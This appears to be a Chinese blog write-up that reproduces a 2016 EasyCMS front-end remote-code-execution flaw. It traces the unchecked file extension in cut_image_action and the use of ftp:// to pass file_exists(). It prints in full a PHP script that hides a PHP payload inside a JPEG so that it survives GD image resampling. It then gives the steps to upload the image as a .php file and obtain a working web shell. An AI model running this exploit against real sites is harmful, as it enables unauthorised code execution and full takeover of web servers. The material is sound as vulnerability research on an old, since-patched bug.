【漏洞复现】EasyCms前台getshell

零、前言

这是个16年的洞,拿来复现了一下。

一、基本信息

漏洞名称:EasyCMS前台getshell

漏洞版本:EasyCMS 2016-10-12之前版本

二、漏洞分析

漏洞相关的函数cut_image_action位于lib\default\tool_act.php 392行

这是一个图片处理函数,读取来自变量pic的图片并对其进行剪切,问题发生在405行:

$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));

程序没有对文件后缀名进行检测,导致生成的新文件名可控。接下来对cut_image_action函数进行一个完整的分析,前几行是对URL的检测和处理。

首先判断网站是否放在根目录,计算一下路径的长度,然后判断传入的pic图片是否为本地文件,如果是本地文件则截取为相对路径,这里想要进行漏洞利用肯定是远程文件。然后403行会跳转到lib\tool\front_class.php中的set函数

Set函数首先会判断远程文件是否存在,这里如果是通过http(s)协议引入文件则无法通过file_exists()的判断,http(s)对于file_exists来说会固定返回false。这里可以使用ftp(s)协议构造远程文件链接,ftp(s)自php5开始支持远程file_exists()

http(s)与ftp(s)的实验如下所示

然后就是远程图片的本地生成阶段,这里的问题就是如何保证shell文件在经过图片库函数(ImageCreateFromxxx、ImageCopyResampled、ImageJpeg)的处理后依然可执行,解决这个问题就可以getshell。

在正常图片中插入shell并无视GD图像库的处理,常规方法有两种:

  • 对比两张经过 php-gd 库转换过的 gif 图片,如果其中存在相同之处,这就证明这部分图片数据不会经过转换。然后我可以注入代码到这部分图片文件中,最终实现远程代码执行
  • 利用 php-gd 算法上的问题进行绕过

这里我们选择第二种,首先上传一张图片,我们利用ftp协议上传,Pic的值根据之前的分析前面要加上一定长度的占位符,当前环境的占位符长度就是“/cmseasy/”的长度,这里用“111111111”替代,然后后面是ftp链接

图片几个参数的值可以参考图片的属性填写

然后根据返回的路径下载上传的图片,再使用脚本处理并写入payload,脚本如下:

<?php
    /*
 
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
    caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed
    image.
 
    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    php jpg_payload.php <jpg_name.jpg>
 
    In case of successful injection you will get a specially crafted image, which should be uploaded again.
 
    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another
    initial image.
 
    Sergey Bobrov @Black2Fan.
 
    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
 
    */
 
    $miniPayload = '<?php phpinfo();?>';
 
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
     
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
 
    set_error_handler("custom_error_handler");
 
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
 
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
 
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    str_repeat("\0",$nullbytePayloadSize) .
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream =
                        substr($outStream, 0, $startPos) .
                        $miniPayload .
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
 
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
 
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
 
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
 
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
 
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
 
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
 
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
 
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
 
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

 

然后将生成的payload图片后缀改为php,再次上传即可返回shell的路径

访问可以看到shell成功执行。

【漏洞复现】EasyCms前台getshell》上有 1 条评论

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注